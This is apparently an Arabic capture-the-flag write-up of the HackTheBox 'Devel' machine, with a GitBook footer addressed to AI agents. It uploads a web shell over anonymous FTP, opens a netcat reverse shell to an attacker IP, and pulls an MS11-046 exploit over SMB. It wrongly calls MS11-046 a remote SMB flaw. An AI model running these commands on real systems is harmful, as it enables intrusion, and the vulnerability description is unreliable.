> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # شرح Devel HackTheBox {% embed url="" %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p21,80 10.10.10.5 -oN targeted ```

## **تحليل الخدمة** ### **المنفذ 21 - FTP** خادم FTP متاح باستخدام بيانات اعتماد مجهولة. ومن خلال استكشاف دليل FTP، نعثر على ثلاثة ملفات: * **`aspnet_client`** * **`iisstart.htm`** * **`welcome.png`**

الصورة **`welcome.png`** يبدو أنها لافتة قياسية.

### المنفذ 80 - HTTP: يعرض خادم HTTP صفحة تحمل نفس اللافتة الموجودة على FTP. وهذا يشير إلى أن الموقع يسترجع ملفاته مباشرةً من خادم FTP.

#### **اختبار الكتابة على FTP** من خلال اختبار أذونات الكتابة على خادم FTP، نؤكد أنه من الممكن إضافة ملفات باستخدام الأمر ```bash put test.txt ```

## **الاستغلال - غلاف عكسي عبر FTP** ### **رفع Web Shell لـ ASPX** نستخدم Web Shell موجودًا مسبقًا، **`cmd.aspx`**، من SecLists: ```bash locate cmd.aspx cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` ثم نستورده إلى خادم FTP: ```bash ftp 10.10.10.5 anonymous put aspx_cmd.aspx ``` نصل إلى Web Shell عبر خادم HTTP وننفذ أوامر، على سبيل المثال: ```bash ipconfig ```

### **ارفع `nc.exe` الملف الثنائي لغلاف عكسي** نقوم بتنزيل **`nc.exe`** من SecLists: ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` ثم نضيفه إلى خادم FTP: ```bash ftp 10.10.10.5 anonymous put nc.exe ``` من Web Shell، نحدد موقع **`nc.exe`** الملف على الخادم المستهدف: ```powershell dir /s C:/nc.exe ``` ### **إعداد الغلاف العكسي**

**استمع إلى المنفذ 443:** نقوم بإعداد مستمع باستخدام `nc` ليستمع على المنفذ 443: ```bash rlwrap nc -nvlp 443 ``` من الجهاز المستهدف، ننفذ الأمر التالي عبر Web Shell: ```powershell C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443 ```

## **تصعيد الامتيازات** ### استغلال النواة #### **فحص معلومات النظام** باستخدام **`systeminfo`** من خلال الأمر، نحدد أن الجهاز يستخدم **Windows 7 Enterprise**، مما يفتح إمكانية استغلال ثغرات معروفة لهذا الإصدار. ```powershell systeminfo ``` تخبرنا النتيجة أن الجهاز يستخدم **Windows 7 Enterprise**، بالإصدار التالي: ```plaintext OS VERSION: 6.1.7600 N/A Build 7600 ```

### **استغلال ثغرة MS11-046** وهذا يتيح لنا معرفة أن الجهاز قد يكون عرضة لبعض الثغرات المعروفة، مثل **MS11-046**، وهي ثغرة في الخدمة **Windows SMB**. {% embed url="" %} > ثغرة **MS11-046** تسمح لمهاجم بتنفيذ أوامر عن بُعد بامتيازات **NT AUTHORITY/SYSTEM** عبر خدمة SMB. وللاستغلال هذه الثغرة، سننقل ونشغّل ملفًا خبيثًا على الجهاز المستهدف.

### نقل الملفات في Windows (smb) > نستخدم **smbserver.py** لمشاركة دليل يحتوي على ملف الاستغلال **ms11-046.exe**. ثم يُنسخ هذا الملف إلى الجهاز المستهدف. ```bash smbserver.py share $(pwd) -smb2support ``` من الجهاز الهدف، قمنا بنسخ الملف الخبيث باستخدام أمر SMB: ```powershell copy //10.10.14.26/share/ms11-046.exe ms11.exe ```

**تنفيذ العملية** بمجرد نقل الملف، نقوم بتشغيل **ms11-046.exe** على الجهاز المستهدف لاستغلال الثغرة والحصول على غلاف بامتيازات SYSTEM. وللقيام بذلك، نستخدم الأمر التالي: ```powershell ./ms11.exe ```

### الراية user.txt :)

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.